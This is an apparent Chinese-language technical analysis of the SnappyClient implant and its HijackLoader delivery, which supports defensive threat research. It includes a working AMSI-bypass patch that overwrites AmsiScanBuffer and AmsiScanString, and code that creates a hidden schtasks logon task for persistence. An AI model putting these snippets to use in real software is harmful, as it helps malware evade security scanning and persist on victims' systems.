1. 簡介
網路威脅的樣貌持續演進,出現了專為隱匿性與持久性設計的複雜命令與控制(C2)框架。於 2025 年底被發現、使用 C++ 的植入程式 SnappyClient ,代表了模組化惡意軟體設計的重大進展。SnappyClient 主要透過 HijackLoader 傳遞,整合了廣泛的入侵後滲透(Post-exploitation)能力,包括遠端終端機存取、鍵盤側錄,以及從網頁瀏覽器和應用程式中進行大規模資料外洩 [1] 。這份報告提供了 SnappyClient 架構、其規避機制以及對 HijackLoader 先進載入技術依賴性的深入技術分析。
2. 傳遞機制與 HijackLoader 整合
SnappyClient 通常在 HijackLoader 初次感染後,作為第二階段的 payload 進行部署。這兩個元件之間的整合相當無縫,利用了 HijackLoader 繞過現代端點偵測與回應(Endpoint Detection and Response, EDR)系統的能力。HijackLoader 採用的一項關鍵技術是 Call Stack Spoofing ,透過將合法的堆疊框架替換為偽造的框架,來混淆 API 與系統呼叫的來源 [2] 。
正如近期研究所分析,HijackLoader 利用 EBP 指標鏈追蹤堆疊,並將返回位址指標修補為來自合法系統 DLL(例如 ntdll.dll 或 kernelbase.dll )的位址 [2] 。這能確保任何檢查呼叫堆疊的安全工具,會將執行流程視為源自受信任的系統元件,而非惡意程式碼。
3. SnappyClient 規避技術分析
3.1 透過 Trampoline Hooking 繞過 AMSI
為了避免被反惡意軟體掃描介面(Antimalware Scan Interfac, AMSI)偵測,SnappyClient 實作了一套複雜的 hooking 機制。它在
LoadLibraryExW
上安裝了一個 trampoline hook,以監控
amsi.dll
的載入。一旦偵測到該 DLL,該植入程式便會繼續 hook
AmsiScanBuffer
和
AmsiScanString
,迫使它們回傳
AMSI_RESULT_CLEAN
[1]
。
- // Pseudo-code analysis of AMSI Bypass Hooking
- // This logic intercepts the loading of amsi.dll and patches its scanning functions.
- void HookAmsiFunctions(HMODULE hAmsi) {
- // Locate the addresses of AmsiScanBuffer and AmsiScanString
- void* pScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
- void* pScanString = GetProcAddress(hAmsi, "AmsiScanString");
- if (pScanBuffer && pScanString) {
- // Replace the start of the functions with a 'return AMSI_RESULT_CLEAN' instruction
- // 0xB8 = mov eax, 0 (AMSI_RESULT_CLEAN)
- // 0xC3 = ret
- unsigned char patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
- WriteProcessMemory(GetCurrentProcess(), pScanBuffer, patch, sizeof(patch), NULL);
- WriteProcessMemory(GetCurrentProcess(), pScanString, patch, sizeof(patch), NULL);
- }
- }
3.2 進階規避技術
除了繞過 AMSI,SnappyClient 還採用了 Heaven’s Gate 在 32 位元程序中執行 64 位元程式碼、直接系統呼叫以繞過使用者模式的 API hook,以及用於隱蔽程序注入的 transacted hollowing [1] 。這些技術共同將惡意軟體在主機系統上的痕跡降至最低。
4. 設定與資料庫管理
SnappyClient 的操作參數定義在內嵌的 JSON 設定中。此設定包含 metadata 如
buildId
、預設目錄 (
dd
),以及用於加密資料庫(如
EventsDB
和
SoftwareDB
)的檔案名稱
[1]
。
| 鍵值 | 描述 |
|---|---|
| tag | 註冊期間發送的惡意軟體識別碼。 |
| dd | 所有惡意軟體相關檔案的預設目錄。 |
| kf | 加密鍵盤側錄日誌的檔案名稱。 |
| m | 用於確保單一實體的 Mutex 名稱。 |
EventsDB
與
SoftwareDB
檔案從 C2 伺服器擷取,並使用
ChaCha20
加密儲存於磁碟中。這些檔案中的每個加密串流之前都有一個特定的 header 結構,其中包含 magic bytes 和加密金鑰
[1]
。
- // Structure of the encrypted database header
- struct Header {
- DWORD MAGIC1; // 0xCEDD9AB7 - Magic identifier 1
- DWORD MAGIC2; // 0x7FCBB9E9 - Magic identifier 2
- DWORD MAGIC3; // Variable - Magic identifier 3
- BYTE key[0x20]; // 32-byte ChaCha20 key
- BYTE nonce[0xC]; // 12-byte Nonce
- DWORD crc_value; // CRC32 checksum for integrity
- };
5. 網路通訊協定
SnappyClient 與其 C2 伺服器之間的通訊經過高度客製化。所有資料封包均使用 ChaCha20-Poly1305 演算法加密,同時提供機密性(Confidentiality)與完整性(Authenticity)。該協定使用結構化的封包格式來封裝命令與回應 [1] 。
- // Analysis of the Network Packet Structure
- // The packet ensures secure transmission of stolen data and C2 commands.
- struct NetworkPacket {
- BYTE nonce[12]; // Nonce for ChaCha20-Poly1305
- DWORD payloadLength; // Length of the encrypted payload
- BYTE payload[]; // Encrypted data (ChaCha20-Poly1305)
- BYTE tag[16]; // Authentication tag (Poly1305)
- };
6. 感染後活動與持續性
成功初始化後,SnappyClient 會建立持續性機制以在系統重啟後存活。它主要鎖定
Scheduled Tasks
來維持持續性,建立一個在使用者登入時觸發的工作。如果工作建立失敗,它會回退到 Windows 註冊表的
Run
鍵值
[1]
。
- /// Persistence logic via Scheduled Tasks
- // The malware ensures it is executed every time the victim logs in.
- void EstablishPersistence(const char* exePath, const char* taskName) {
- // Command to create a scheduled task via schtasks.exe
- char cmd[512];
- sprintf(cmd, "schtasks /create /tn \"%s\" /tr \"%s\" /sc onlogon /rl highest /f",
- taskName, exePath);
- // Execute the command silently
- WinExec(cmd, SW_HIDE);
- }
此植入程式的功能相當廣泛。它可以擷取螢幕截圖、記錄按鍵輸入,並與遠端終端機互動。此外,它還鎖定儲存在 Chromium 架構的瀏覽器中的敏感資料,利用特殊邏輯處理
App-Bound Encryption
,透過與
IElevator
介面互動來達成
[1]
。
7. 結論
SnappyClient 代表了現代化、模組化的 C2 植入程式設計途徑,將規避能力與強大的資料竊取作為首要目標。它依賴 HijackLoader 進行初始部署,凸顯了利用專門的載入程式繞過先進安全防護的趨勢。自訂加密協定與複雜 hooking 技術的使用,使 SnappyClient 成為當前資安領域中一個強大的威脅。組織應將監控異常的排程工作建立行為以及未經授權的 AMSI 修改,作為主要的入侵指標。